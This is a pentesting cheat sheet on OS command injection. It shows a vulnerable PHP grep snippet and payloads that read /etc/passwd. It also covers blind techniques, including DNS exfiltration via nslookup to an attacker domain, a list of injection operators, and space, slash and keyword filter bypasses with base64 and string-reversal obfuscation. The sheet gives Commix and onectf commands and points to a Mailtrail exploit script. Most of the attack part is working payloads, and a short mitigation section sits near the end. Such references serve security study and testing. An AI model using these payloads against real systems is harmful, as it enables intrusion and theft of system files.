Command injection ¶

A command injection occurs when a developer uses the user input in system commands without proper sanitization/measures.

For instance, a PHP website on Linux might use grep, sed, or other utilities instead of PHP functions for some operations:

$search = $_GET['q'];
$res = system("grep \"$search\" content/");
echo "<pre>$res</pre>";

With the following payload for q: " -V; cat /etc/passwd #, the command executed will be as follows, allowing us to steal /etc/passwd

grep "" -V; cat /etc/passwd # content/
grep "" -V || cat /etc/passwd || content/ # alternative

There are two kinds of command injections

• Regular/in-band: same channel to attack and gather results
• Blind/out-band: different channels to attack and gather results
  • Using redirections/flags, create a URL-accessible output file

[...] cat /etc/passwd > /var/www/html/output.txt [...]

• Using nslookup to perform a DNS exfiltration

[...] nslookup `whoami`.domain.com [...]

• Using commands such as sleep to perform a time-based attack

[...] true && sleep 5 [...]

Assuming we have a list of vulnerable elements such as forms that may be vulnerable, we can try common payloads:

• ; — %3B — run two commands
• && — %26%26 — executed if the previous ones succeed
• || — %7C%7C — executed if the previous ones failed
• & — %26 — run two commands (background previous)
• | — %7C — run two commands (pipe previous one)
• `` — %60%60 — execute a command in another command
• $() — %24%28%29 — execute a command in another command
• \n or \r\n — %0A or %0d%0a — run two commands
• !x — bash-specific — replaced with a command in the history
• {ls,-la} — bash-specific — replaced with ls -la

Always try to inject bit by bit using a boolean-based approach.

Tools 📚

• Commix (4.6k ⭐) can detect and automatically exploit applications. It was coded in a similar way that SQLMap for SQL injections.

$ pipx install git+https://github.com/commixproject/commix.git
$ commix -u 'URL' -d 'xxx=*' # POST request, xxx vulnerable

• For manual testing, you can use onectf request (0.001k ⭐) that automatically URL encode the payload.

$ pipx install git+https://github.com/QuentinRa/onectf.git
$ onectf request -u 'URL' -v -X POST -p 'xxx' -i 'x;id'
$ onectf request -u 'URL' -v -X POST -p 'xxx' -i 'x;ls<tab>/'
$ onectf request -u 'URL' -v -X POST -p 'xxx' -i 'x;ls /' --tamper aliases,space2tab

📚 The wordlists special-chars.txt can be handy.

Character Filtering ¶

Bypass space character filtering.

• Try using tabs (%09)
• Try using variables (${IFS})
• Try using brace expansion ({ls,-la}) -- bash
• ...

Bypass braces/star character filtering.

• You can replace ls${IFS}/ with ls$IFS""/
• You can replace ls${IFS}/ with ls$IFS\/
• You can replace cat${IFS}* with cat$IFS$(ls)

Bypass slash character filtering.

• Try using variables (${PATH:0:1}) -- may not be set
• Try using variables (${HOME:0:1}) -- may not be set
• Try using variables (${PWD:0:1})
• ...

➡️ See also: printenv, env, set, export to list environment variables.

Bypass using obfuscation ¶

Remember that such payloads may contain filtered characters. See also tools such as Bashfuscator.

$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$ $(a="WhOaMi";printf %s "${a,,}")
$ # using base64
$ base64 <<< whoami
d2hvYW1pCg==
$ bash<<<$(base64 -d<<<d2hvYW1pCg==) # whoami
$ # using UTF-16 and base64
$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64

Command Filtering ¶

Add a pair of quotes/double quotes anywhere within the command

# Available on Linux, Windows (PowerShell)
$ w'ho'ami ; w""hoam''i

• Put \\ or $@ anywhere within the command

# Available on Linux
$ w\hoami ; who$@ami

• Put ^ anywhere within the command

# Available on Windows (CMD)
CMD> who^am^i

• Reverse commands

$ $(rev<<<'imaohw')
PS> iex "$('imaohw'[-1..-20] -join '')"

• Filters may have been applied only once

PS> cat # It doesn't work.
PS> ccatat # It works!

• Use variables to split the command

PS> $a="l"; $b="s" ; & $a$b

Mailtrail v0.53 ¶

POC (python script) (0.04k ⭐).

$ python3 exploit.py listener_ip listener_port URL

PowerShell Command Injection ¶

Reminder of useful payloads: $(whoami), ; whoami, $(Get-ChildItem Env:), $(command|Out-string), | powershell command...

• 🪲 Avoid using uncontrolled input in system commands. Always validate and filter user input.

• 🔫 Use the web engine functions instead of system functions

• 📚 Use additional tools such as a WAF, etc.

As always, we can configure the server to block some functions or disable access to folders outside the application directories.

• PHP Security And Bypasses

• Windows Slash ($env:HOMEPATH[0])
• Direct access to a program in a jail?
• "'`{ls,-a}`'" (error but execute)